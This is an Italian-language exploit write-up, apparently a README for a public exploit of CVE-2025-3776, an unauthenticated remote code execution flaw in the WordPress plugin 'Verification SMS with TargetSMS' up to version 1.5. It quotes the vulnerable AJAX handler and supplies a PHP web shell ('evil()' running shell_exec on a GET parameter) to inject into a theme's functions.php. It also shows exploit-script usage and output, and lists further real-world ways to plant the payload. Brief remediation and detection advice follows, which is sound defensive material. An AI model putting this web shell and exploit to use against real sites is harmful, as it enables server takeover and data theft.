CVE-2025-3776 - Esecuzione Remota di Codice nel Plugin "Verification SMS with TargetSMS" <= 1.5

Informazioni sul Plugin

• Nome Plugin: Verification SMS with TargetSMS
• Versioni Vulnerabili: <= 1.5
• CVE ID: CVE-2025-3776
• Tipo: Esecuzione Remota di Codice (RCE)
• Classificazione OWASP: A1: Injection
• Severità CVSS: 10.0 (Critica)
• Privilegi Richiesti: Non autenticato
• Data di Pubblicazione: 23 aprile 2025

Causa Principale: Errore di Programmazione

La vulnerabilità ha origine dall'uso di call_user_func() su input controllati dall'utente senza una sanitizzazione tramite una whitelist di funzioni consentite. Ciò crea una falla logica in cui qualsiasi funzione PHP esistente in memoria può essere eseguita senza autenticazione, portando a una grave condizione di Esecuzione Remota di Codice (RCE).

Posizione del Codice Vulnerabile

File: /inc/ajax.php

add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');

function targetvr_ajax_handler(){
    $callback = targetvr_get_postData('callback', 'string');

    if ($callback and function_exists($callback)){
        call_user_func($callback);
    } else {
        targetvr_return_json(false);
    }

    wp_die();
}

Questo codice consente a utenti non autenticati di attivare qualsiasi funzione presente in memoria, incluse quelle dannose se l'attaccante riesce a caricarle.

Come Testare Questa Vulnerabilità

✅ Prerequisiti

Per sfruttare questa vulnerabilità con successo, una funzione richiamabile deve già esistere nell'ambiente WordPress. Poiché i plugin e i temi di WordPress possono caricare automaticamente le funzioni, l'attaccante può iniettare la propria funzione tramite il file functions.php del tema attivo.

📍 File da Modificare:

target.com/wp-content/themes/twentytwentyfour/functions.php

🛠️ Iniettare il seguente payload alla fine di functions.php:

function evil() {
    if (isset($_GET['cmd'])) {
        echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
    } else {
        echo '<pre>' . shell_exec("whoami") . '</pre>';
    }
    exit;
}

✅ Questo garantisce che la funzione evil() venga caricata in memoria e diventi eseguibile tramite call_user_func().

Passaggi di Sfruttamento Usando lo Script Python

✅ Utilizzo:

python3 CVE-2025-3776.py -u http://target.com -c "id"

✅ Esempio di Output:

[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>

Exploit By : Nxploited ( Khaled Alenazi )

Menu di Aiuto dello Script Python:

usage: CVE-2025-3776.py [-h] -u URL [-c CMD]

CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5

# Exploit by Nxploited ( Khaled Alenazi )

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target WordPress site URL
  -c, --cmd CMD  Command to execute (default: whoami)

Comportamento Senza Iniezione

Se nessuna funzione evil() o simile è disponibile in memoria:

• La richiesta restituirà:

{"status":false}

• Ciò significa che la funzione di callback non esiste e l'exploit fallisce in modo sicuro.

Percorsi di Sfruttamento nel Mondo Reale

• Iniezione nel File del Tema: Modificare il file functions.php del tema attivo (come dimostrato).
• Tramite Plugin File Manager: Utilizzare un plugin come WP File Manager per caricare un file PHP contenente evil().
• Tramite LFI o difetti di inclusione: Utilizzare una Local File Inclusion (LFI) esistente per includere un file caricato che contiene una funzione dannosa.

Rischio e Impatto

Una volta caricata una funzione dannosa, un attaccante non autenticato può:

• Eseguire comandi shell arbitrari
• Visualizzare file sensibili del server
• Pivotare verso il compromesso completo del sito o del server

Raccomandazioni

• Disattivare o rimuovere immediatamente il plugin se si utilizza una versione <= 1.5
• Limitare l'accesso alla modifica dei file tramite wp-admin
• Applicare una patch o sostituire il plugin con alternative sicure

Rilevamento

Cercare richieste POST ripetute a:

/wp-admin/admin-ajax.php?action=targetvrHHndler

Con callback=evil o qualsiasi nome di funzione inatteso

Disclaimer Legale

Queste informazioni sono fornite esclusivamente a scopo educativo e di ricerca etica. L'autore non è responsabile per qualsiasi uso improprio o danno causato dall'uso di queste informazioni.

Attribuzione dell'Exploit

Exploit di: Nxploited (Khaled Alenazi)